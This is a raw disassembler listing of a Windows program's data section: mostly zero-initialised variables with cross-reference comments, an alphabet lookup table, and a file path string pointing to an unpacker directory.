dword_4CB8AC dd 0 ; DATA XREF: sub_409909+9CBw ; sub_409909+A3Br ... dword_4CB8B0 dd 0 ; DATA XREF: sub_409909+372w ; sub_409909+3C7r ... dword_4CB8B4 dd 0 ; DATA XREF: sub_409909+40Fw ; sub_41AF8F+11Er dword_4CB8B8 dd 0 ; DATA XREF: sub_409909+37Fw ; sub_409909+3CFr ... dword_4CB8BC dd 0 ; DATA XREF: sub_409909+3C0w ; sub_4191DB+ADr dword_4CB8C0 dd 0 ; DATA XREF: sub_409909+55Aw ; sub_40FAD6+115r ... dword_4CB8C4 dd 0 ; DATA XREF: sub_409909+72w ; sub_409909+D2r ... dword_4CB8C8 dd 0 ; DATA XREF: sub_409909+97Dw ; sub_409909+A06r ... dword_4CB8CC dd 0 ; DATA XREF: sub_409909+3A6w ; sub_409909+3E7r ... dword_4CB8D0 dd 0 ; DATA XREF: sub_409909+859w ; sub_409909+8ACr ... dword_4CB8D4 dd 0 ; DATA XREF: sub_409909+2A5w ; sub_409909+2F0r dword_4CB8D8 dd 0 ; DATA XREF: sub_409909+84Cw ; sub_409909+8A4r ... dword_4CB8DC dd 0 ; DATA XREF: sub_409909+B3w dword_4CB8E0 dd 0 ; DATA XREF: sub_409909+866w ; sub_409909+8B4r ... dword_4CB8E4 dd 0 ; DATA XREF: sub_409909+54Dw ; sub_409909+6D0r ... dword_4CB8E8 dd 0 ; DATA XREF: sub_409909+58w ; sub_409909+CAr ... dword_4CB8EC dd 0 ; DATA XREF: sub_409909+934w dword_4CB8F0 dd 0 ; DATA XREF: sub_401ACD:loc_403ECBr ; sub_409909+A95w ... dword_4CB8F4 dd 0 ; DATA XREF: sub_409909+A6w ; sub_409909+F2r dword_4CB8F8 dd 0 ; DATA XREF: sub_409909+480w ; sub_409909+4D3r dword_4CB8FC dd 0 ; DATA XREF: sub_409909+5F6w ; sub_40C267+20r dword_4CB900 dd 0 ; DATA XREF: sub_409909+9BEw ; sub_409909+A33r dword_4CB904 dd 0 ; DATA XREF: sub_409909+5E9w ; sub_409909+754r ... dword_4CB908 dd 0 ; DATA XREF: sub_409909+A0Cw dword_4CB90C dd 0 ; DATA XREF: sub_409909+B50w ; sub_40DC41+9Ar dword_4CB910 dd 0 ; DATA XREF: sub_409909+7FEw ; sub_409909+86Dr ... dword_4CB914 dd 0 ; DATA XREF: sub_409909+1B3w ; sub_40B5B5+3Do ... dword_4CB918 dd 0 ; DATA XREF: sub_409909+997w ; sub_409909+A1Br ... dword_4CB91C dd 0 ; DATA XREF: sub_409909+38Cw ; sub_409909+3D7r ... dword_4CB920 dd 0 ; DATA XREF: sub_409909+399w ; sub_409909+3DFr ... dword_4CB924 dd 0 ; DATA XREF: sub_409909+C85w ; sub_409909+C8Cr dword_4CB928 dd 0 ; DATA XREF: sub_409909+6ACw ; ___:00411290r dword_4CB92C dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB930 dd 0 ; DATA XREF: sub_409909+4B4w dword_4CB934 dd 0 ; DATA XREF: sub_409909+9E5w ; sub_409909+A4Br ... dword_4CB938 dd 0 ; DATA XREF: sub_401000+51r ; sub_409909+2B2w ... dword_4CB93C dd 0 ; DATA XREF: sub_409909+7Fw ; sub_409909+DAr ... dword_4CB940 dd 0 ; DATA XREF: sub_401ACD+5840r ; sub_401ACD+781Er ... dword_4CB944 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5037r ... dword_4CB948 dd 0 ; DATA XREF: sub_409909+825w ; sub_409909+890r ... dword_4CB94C dd 0 ; DATA XREF: sub_409909+9A4w ; sub_409909+A23r dword_4CB950 dd 0 ; DATA XREF: sub_409909+C0Ew ; sub_409909+C3Fr dword_4CB954 dd 0 ; DATA XREF: sub_409909+2CCw ; sub_418A2E+47r dword_4CB958 dd 0 ; DATA XREF: sub_409909+22Dw dword_4CB95C dd 0 ; DATA XREF: sub_409909+91Aw ; sub_409909+92Er dword_4CB960 dd 0 ; DATA XREF: sub_409909+C28w dword_4CB964 dd 0 ; DATA XREF: sub_409909+2D9w ; sub_418A2E+4Fr dword_4CB968 dd 0 ; DATA XREF: sub_409909+574w ; sub_409909+6E8r ... dword_4CB96C dd 0 ; DATA XREF: sub_409909+83Fw ; sub_409909+873r dword_4CB970 dd 0 ; DATA XREF: sub_409909+220w ; sub_409909+23Cr dword_4CB974 dd 0 ; DATA XREF: sub_409909+172w ; sub_409909+1C2r dword_4CB978 dd 0 ; DATA XREF: sub_401ACD+1DCEr ; sub_401ACD+59F9r ... dword_4CB97C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+50C1r ... dword_4CB980 dd 0 ; DATA XREF: sub_409909+567w ; sub_409909+6DCr ... dword_4CB984 dd 0 ; DATA XREF: sub_409909+8DBw ; sub_409909:loc_40A202w ... dword_4CB988 dd 0 ; DATA XREF: sub_401000+26r ; sub_409909+28Bw ... dword_4CB98C dd 0 ; DATA XREF: sub_401ACD+77AFr ; sub_409909+69Fw ... dword_4CB990 dd 0 ; DATA XREF: sub_409909+32Dw ; sub_409909+341r ... dword_4CB994 dd 0 ; DATA XREF: sub_409909+3B3w ; sub_409909+3EFr ... dword_4CB998 dd 0 ; DATA XREF: sub_409909+C01w ; sub_409909+C37r dword_4CB99C dd 0 ; DATA XREF: sub_409909+818w ; sub_409909+888r ... dword_4CB9A0 dd 0 ; DATA XREF: sub_409909+206w ; sub_409909+227r dword_4CB9A4 dd 0 ; DATA XREF: sub_409909+18Cw ; sub_409909+1D2r ... dword_4CB9A8 dd 0 ; DATA XREF: sub_409909+832w ; sub_409909+898r ... dword_4CB9AC dd 0 ; DATA XREF: sub_409909+624w ; sub_409909+774r dword_4CB9B0 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409909+2BFw ... dword_4CB9B4 dd 0 ; DATA XREF: sub_409909+66Bw ; sub_409909+79Cr ... dword_4CB9B8 dd 0 ; DATA XREF: sub_409909+320w ; sub_409909+334r ... dword_4CB9BC dd 0 ; DATA XREF: sub_409909+644w ; sub_409909+784r ... dword_4CB9C0 dd 0 ; DATA XREF: sub_409909+44Cw ; sub_409909+4AEr dword_4CB9C4 dd 0 ; DATA XREF: sub_409909+199w ; sub_409909+1DAr ... dword_4CB9C8 dd 0 ; DATA XREF: sub_409909+365w ; sub_409909+3BAr ... dword_4CB9CC dd 0 ; DATA XREF: sub_409909+AA2w dword_4CB9D0 dd 0 ; DATA XREF: sub_409909+5DCw ; sub_409909+748r ... dword_4CB9D4 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5073r ... dword_4CB9D8 dd 0 ; DATA XREF: sub_409909+4Bw ; sub_409909+C2r ... dword_4CB9DC dd 0 ; DATA XREF: sub_409909+473w ; sub_409909+4CBr dword_4CB9E0 dd 0 ; DATA XREF: sub_409909+165w ; sub_409909+1BAr ... dword_4CB9E4 dd 0 ; DATA XREF: sub_409909+9FFw ; sub_409909+A5Br ... dword_4CB9E8 dd 0 ; DATA XREF: sub_409909+685w ; sub_409909+7ACr ... dword_4CB9EC dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+50D6r ... dword_4CB9F0 dd 0 ; DATA XREF: sub_409909+C1Bw ; sub_409909+C47r dword_4CB9F4 dd 0 ; DATA XREF: sub_409909+3Ew ; sub_409909+BAr ... dword_4CB9F8 dd 0 ; DATA XREF: sub_401000+45r ; sub_409909+298w ... dword_4CB9FC dd 0 ; DATA XREF: sub_409909+651w ; sub_409909+78Cr ... dword_4CBA00 dd 0 ; DATA XREF: sub_409909+637w ; sub_409909+77Cr ... dword_4CBA04 dd 0 ; DATA XREF: sub_409909+C92w dword_4CBA08 dd 0 ; DATA XREF: sub_409909+879w ; ___:00416C7Cr ... dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w dword_4CBA10 dd 0 ; DATA XREF: sub_409909+BE7w ; sub_409909+C22r dword_4CBA14 dd 0 ; DATA XREF: sub_401ACD+2F9Br ; sub_401ACD+5EB8r ... dword_4CBA18 dd 0 ; DATA XREF: sub_409909+459w ; sub_409909+4BBr dword_4CBA1C dd 0 ; DATA XREF: sub_409909+49Aw ; sub_409909+4E3r dword_4CBA20 dd 0 ; DATA XREF: sub_409909+466w ; sub_409909+4C3r dword_4CBA24 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+50F3r ... dword_4CBA28 dd 0 ; DATA XREF: sub_409909+1A6w ; sub_409909+1E2r ... dword_4CBA2C dd 0 ; DATA XREF: sub_409909+9F2w ; sub_409909+A53r ... dword_4CBA30 dd 0 ; DATA XREF: sub_409909+158w ; sub_409909+1ADr ... dword_4CBA34 dd 0 ; DATA XREF: sub_409909+8Cw ; sub_409909+E2r ... dword_4CBA38 dd 0 ; DATA XREF: sub_409909+610w ; sub_409909+764r ... dword_4CBA3C dd 0 ; DATA XREF: sub_409909+B43w ; sub_409909+B5Fr dword_4CBA40 dd 0 ; DATA XREF: sub_409909+33Aw ; sub_419B9E+55r dword_4CBA44 dd 0 ; DATA XREF: sub_409909+27Ew ; sub_409909+2D3r ... dword_4CBA48 dd 0 ; DATA XREF: sub_409909+BAAw dword_4CBA4C dd 0 ; DATA XREF: sub_409909+AECw ; sub_40A928+CEr dword_4CBA50 dd 0 ; DATA XREF: sub_409909+ADFw ; sub_409909+AE6r ... dword_4CBA54 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5052r ... dword_4CBA58 dd 0 ; DATA XREF: sub_401ACD+5044r ; sub_401ACD+77D6r ... dword_4CBA5C dd 0 ; DATA XREF: sub_409909+BF4w ; sub_409909+C2Fr dword_4CBA60 dd 0 ; DATA XREF: sub_401ACD+1DF4r ; sub_401ACD+5A1Fr ... dword_4CBA64 dd 0 ; DATA XREF: sub_409909+9B1w ; sub_409909+A2Br ... dword_4CBA68 dd 0 ; DATA XREF: sub_409909+65Ew ; sub_409909+794r ... dword_4CBA6C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CBA70 dd 0 ; DATA XREF: sub_409909+59Bw ; sub_409909+70Cr ... dword_4CBA74 dd 0 ; DATA XREF: sub_409909+B36w ; sub_409909+B57r ... dword_4CBA78 dd 0 ; DATA XREF: sub_409909+540w ; sub_409909+6C4r ... dword_4CBA7C dd 0 ; DATA XREF: sub_409909+B29w ; sub_409909+B4Ar dword_4CBA80 dd 0 ; DATA XREF: ___:00401273r ; sub_409909+31w ... dword_4CBA84 dd 0 ; DATA XREF: sub_409909+17Fw ; sub_409909+1CAr dd 0 dword_4CBA8C dd 0 ; DATA XREF: sub_409909+927w ; sub_409909+93Br dword_4CBA90 dd 0 ; DATA XREF: sub_409909+99w ; sub_409909+EAr ... dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w ; sub_409909+12Bw ... dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w ; sub_40A5C5+1Cr dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w ; sub_409909:loc_409B5Ew ... dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w ; sub_40A5C5+50r dword_4CBAA4 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4468r ... dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew ; sub_40A5C5+84r dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw ; sub_40A5C5:loc_40A675r dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw ; sub_40A5C5+B8r dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw ; sub_40A5C5:loc_40A6A9r dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w ; sub_40A5C5+ECr dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w ; sub_409909+8EFw ... dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw ; sub_40A5C5+120r dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r ; sub_409909:loc_40A25Dw ... dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw ; sub_40A5C5+154r dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r ; sub_409909:loc_40A379w ... dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw ; sub_40A5C5+188r dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w ; sub_40A5C5:loc_40A779r dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w ; sub_40A5C5+1BCr dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw ; sub_40A5C5:loc_40A7ADr dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw ; sub_40A5C5+1F0r dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w ; sub_40A5C5:loc_40A7E1r dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w ; sub_40A5C5+224r dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw ; sub_40A5C5:loc_40A815r dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw ; sub_40A5C5+258r dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w ; sub_40A5C5:loc_40A849r dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw ; sub_40A5C5+28Cr dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w ; sub_40A5C5:loc_40A87Dr dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w ; sub_40A5C5+2C0r dword_4CBB04 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar ; sub_40B2B3+98w align 10h dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r ; sub_40C2AF+92w ... dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr ; sub_40C3E8+2F1w ... dd 7FEh dup(0) dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o ; sub_40C3E8+13Bo ... dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w ; sub_40BD91+348o dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew ; sub_40BD91+35Ar dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w ; sub_40BD91:loc_40C0A6r dword_4CDB48 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o ; sub_40BD91+302o dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw ; sub_40BD91+30Fw dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r align 8 dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w ; sub_40BD91+101o dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o dword_4CDCE0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w ; sub_40BD91+113r dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw ; sub_40BD91+D4r dword_4CDDF0 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao ; sub_40BD91+BAo dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w ; sub_40BD91+C7w dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr align 10h dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w ; sub_40BD91+225o dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o dword_4CDF88 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw ; sub_40BD91+237r dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w ; sub_40BD91+1F8r dword_4CE098 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo ; sub_40BD91+1DEo dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw ; sub_40BD91+1EBw dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr align 8 dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w ; sub_40BD91+470o dword_4CE12C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o dword_4CE3B4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw ; sub_40BD91+423r align 10h dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w ; sub_40BD91+482r dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w dd 0 dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r dd 0 dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er ; sub_40B9DD+32r dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r ; sub_40B9DD+26r dword_4CE4E4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo dword_4CE6F8 dd 0 ; DATA XREF: ___:0040EEF0r dd 0 dd 0 dword_4CE704 dd 0 ; DATA XREF: ___:0040EEC3r dword_4CE708 dd 0 ; DATA XREF: ___:0040EEA5r ; ___:0040EF0Er align 10h dword_4CE710 dd 0 ; DATA XREF: sub_40BD91+2AEr align 8 dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr dword_4CE71C dd 0 ; DATA XREF: ___:0040F9E9w ; ___:0040FA10r ... dd 3 dup(0) dword_4CE72C dd 0 ; DATA XREF: ___:00411306r dd 0 dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w ; sub_412EDD+9o dd 10Ah dup(0) dword_4CEB60 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F25o ; sub_401ACD:loc_404A7Bo dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w ; sub_401ACD+2F1Dr ... dd 11Ch dup(0) dword_4CF5F4 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do ; sub_415DD8o ... dword_4D35F4 dd 0 ; DATA XREF: sub_415D38+13o ; sub_415DD8+Eo ... dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo dword_4D3630 dd 80h dup(0) ; DATA XREF: sub_417990+41o dword_4D3830 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o ; sub_41761C+DDo ... dword_4D4030 dd 48h dup(0) ; DATA XREF: sub_4172C1+D6o ; sub_41761C+F4o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_4383A8o dd 1B7h dup(0) dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w ; sub_417493+94r dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w ; sub_4178F9+55r ... dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w ; sub_417493+D6r ... dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w ; sub_417493+35r ... dword_4D4840 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w ; sub_417493+A2r align 8 dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o ; sub_4172C1+103r ... dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw ; sub_4177C3+107w dword_4D4A50 dd 0 ; DATA XREF: sub_41761C+180w ; sub_4177C3+10Dw ... dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w ; sub_4178F9+4Fr dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w ; sub_417C61:loc_417DE6w ... dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o ; sub_417B2F+12o ... dd 0 dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr ; sub_417E06+3Ar dd 7Fh dup(0) dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r ; sub_417E06+4Aw dd 1944h dup(0) dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o dword_4DB17C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o ; sub_417B2F+3Co ... dword_4DB380 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o ; sub_418D2A+131o ... dword_4DB3DC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co ; sub_419AE0+A5o dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w ; sub_4190A5+4Dr ... dword_4DB5E0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo ; sub_4199AC+12Do dword_4DB63C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co ; sub_418FE5+7Eo ... byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r ; sub_4190A5+34w align 10h dword_4DB840 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o ; sub_4192FC+89o ... dword_4DBA40 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o ; sub_418C0E+5Bo dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er ; sub_41A05C+54r ... dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr ; sub_41A05C+37r ... dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar ; sub_41A1B1+83o dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r ; sub_41A1B1+11Bw dword_4DBC54 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o ; sub_41A1B1:loc_41A2EEo dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr ; sub_41A05C+ECr ... align 10h dword_4DBC90 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o ; ___:0041B881o ... align 10h dd 3Fh dup(0) dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o ; ___:0041B6CAo dword_4DBDDC dd 0 ; DATA XREF: sub_41C59D+1B9w ; ___:loc_41DB07w ... dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w ; sub_41E312:loc_41E3ACw ... dword_4DBDE4 dd 0 ; DATA XREF: sub_42423B+13Ar dd 0A28h, 501h, 5, 1 dword_4DBDF8 dd 1 ; DATA XREF: ___:loc_401516r ; ___:0042381Dw dword_4DBDFC dd 2450B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... dd 0 dword_4DBE04 dd 2450B58h ; DATA XREF: ___:00423717w dd 3 dup(0) off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DBE1C db 0 ; DATA XREF: sub_41C1B3+2Dw ; sub_4241E3+5r align 10h dword_4DBE20 dd 0 ; DATA XREF: sub_41C1B3+27w dword_4DBE24 dd 0 ; DATA XREF: sub_41C1B3+4r ; sub_41C1B3+8Bw dword_4DBE28 dd 0 ; DATA XREF: sub_41CAD4+3Br ; sub_41CAD4+91w align 10h dword_4DBE30 dd 0 ; DATA XREF: sub_41D124+Aw dword_4DBE34 dd 0 ; DATA XREF: ___:loc_4236E5r ; ___:loc_423727r ... dd 0 dword_4DBE3C dd 0 ; DATA XREF: sub_41E2C9r ___:0041E2F0o ... dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw ; sub_41F4C9+2Dw ... dword_4DBE44 dd 0 ; DATA XREF: sub_41FBB2r dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr ; sub_41BBE2:loc_41BE1Fr ... dword_4DBE4C dd 1 ; DATA XREF: sub_420749:loc_4208C4r ; sub_4208E2+4w ... dword_4DBE50 dd 0 ; DATA XREF: sub_420CE6+37r align 8 dword_4DBE58 dd 0 ; DATA XREF: sub_422279+11r ; sub_42237D+1Ar ... byte_4DBE5C db 0 ; DATA XREF: sub_422279+3r ; sub_422279+98r ... align 10h dword_4DBE60 dd 0 ; DATA XREF: sub_42237D+11r ; sub_42245B+21w ... byte_4DBE64 db 0 ; DATA XREF: sub_42245B+51w align 4 dword_4DBE68 dd 0 ; DATA XREF: sub_422651+4Er ; sub_422A2C+3Ar ... dword_4DBE6C dd 0 ; DATA XREF: sub_422651+5Cr ; sub_422A2C+43r ... dword_4DBE70 dd 0 ; DATA XREF: sub_41D3AA+7Ar ; sub_4227F8+5r dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r dword_4DBE78 dd 1 ; DATA XREF: sub_4232A8+28r ; sub_4232A8+4Cw ... dd 2 dup(0) dword_4DBE84 dd 0 ; DATA XREF: sub_41DE4A+4r ; sub_41DE4A+6Er ... dd 3 dup(0) dword_4DBE94 dd 0 ; DATA XREF: sub_41E0D4+61r ; sub_41E0D4+BFr ... dd 0 dword_4DBE9C dd 0 ; DATA XREF: ___:00423531r ; ___:0042353Dw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o ; ___:off_4DBE14o align 4 dd 3Ah dup(0) dword_4DBFA4 dd 1 ; DATA XREF: ___:004239DBr ; ___:004239FCw ... dword_4DBFA8 dd 0 ; DATA XREF: sub_423D98+21r dword_4DBFAC dd 0 ; DATA XREF: sub_41FBCD+154w ; sub_420CE6:loc_420D0Fw ... dword_4DBFB0 dd 0 ; DATA XREF: sub_41FBCD+7r dword_4DBFB4 dd 1 ; DATA XREF: sub_4244F4+26r ; sub_4244F4:loc_42455Ew word_4DBFB8 dw 0 ; DATA XREF: sub_424DF9+1Ao ; sub_424DF9+46r byte_4DBFBA db 0 ; DATA XREF: sub_424DF9+39r align 4 dword_4DBFBC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o dword_4DBFD8 dd 0 ; DATA XREF: sub_424DF9+40w ; sub_424DF9+5Co dword_4DBFDC dd 0 ; DATA XREF: sub_424DF9+4Dw dword_4DBFE0 dd 0 ; DATA XREF: sub_424DF9+31w dword_4DBFE4 dd 0 ; DATA XREF: sub_424DF9+52w dword_4DBFE8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr ; sub_424F1C+38r ... dword_4DBFEC dd 0 ; DATA XREF: sub_425029+3r ; sub_425029+2Ew ... dword_4DBFF0 dd 0 ; DATA XREF: sub_425029+43w ; sub_425029:loc_425078r dword_4DBFF4 dd 0 ; DATA XREF: sub_425029+4Aw ; sub_425029+60r dword_4DBFF8 dd 0 ; DATA XREF: sub_42423B+3Fr dword_4DBFFC dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr ; sub_425C06+6Do dword_4DC000 dd 0 ; DATA XREF: sub_425C06:loc_425C44r ; sub_425C06+44o dword_4DC004 dd 0 ; DATA XREF: sub_425C06:loc_425C37r ; sub_425C06+37o dword_4DC008 dd 0 ; DATA XREF: sub_425C06:loc_425C51r ; sub_425C06+51o align 10h dword_4DC010 dd 0 ; DATA XREF: sub_426636+28r ; sub_426636+4Cw ... dword_4DC014 dd 0 ; DATA XREF: sub_4268C1+26r ; sub_4268C1:loc_42692Bw byte_4DC018 db 0 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w align 4 dword_4DC01C dd 2451140h ; DATA XREF: sub_41E490:loc_41E4A1r ; sub_41FD3D+14r ... dword_4DC020 dd 400h dup(0) ; DATA XREF: ___:off_43D568o ; ___:0043D570o dword_4DD020 dd 200h ; DATA XREF: sub_41E490+9r ; sub_41E490+56r ... dd 7 dup(0) dword_4DD040 dd 2450650h ; DATA XREF: sub_41F8E3+75r ; sub_41F9BC+2Ar ... dword_4DD044 dd 3Fh dup(0) ; DATA XREF: ___:00423B9Do dword_4DD140 dd 20h ; DATA XREF: sub_41E312+8r ; sub_41F9BC+Cr ... dword_4DD144 dd 4E4h ; DATA XREF: sub_420749+14r ; sub_420749+65w ... align 10h dword_4DD150 dd 3 dup(0) ; DATA XREF: sub_420749+123o ; sub_420749+171o ... dword_4DD15C dd 0 ; DATA XREF: sub_420749+108w ; sub_420749+15Dw ... byte_4DD160 db 0 ; DATA XREF: sub_420988:loc_420A94w ; sub_420988:loc_420AB1w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DD260 db 0 ; DATA XREF: sub_420749+5Co ; sub_420749+AFo ... byte_4DD261 db 0 ; DATA XREF: sub_41C3B1+5Dr ; sub_420749+A0w ... align 4 dd 0Fh 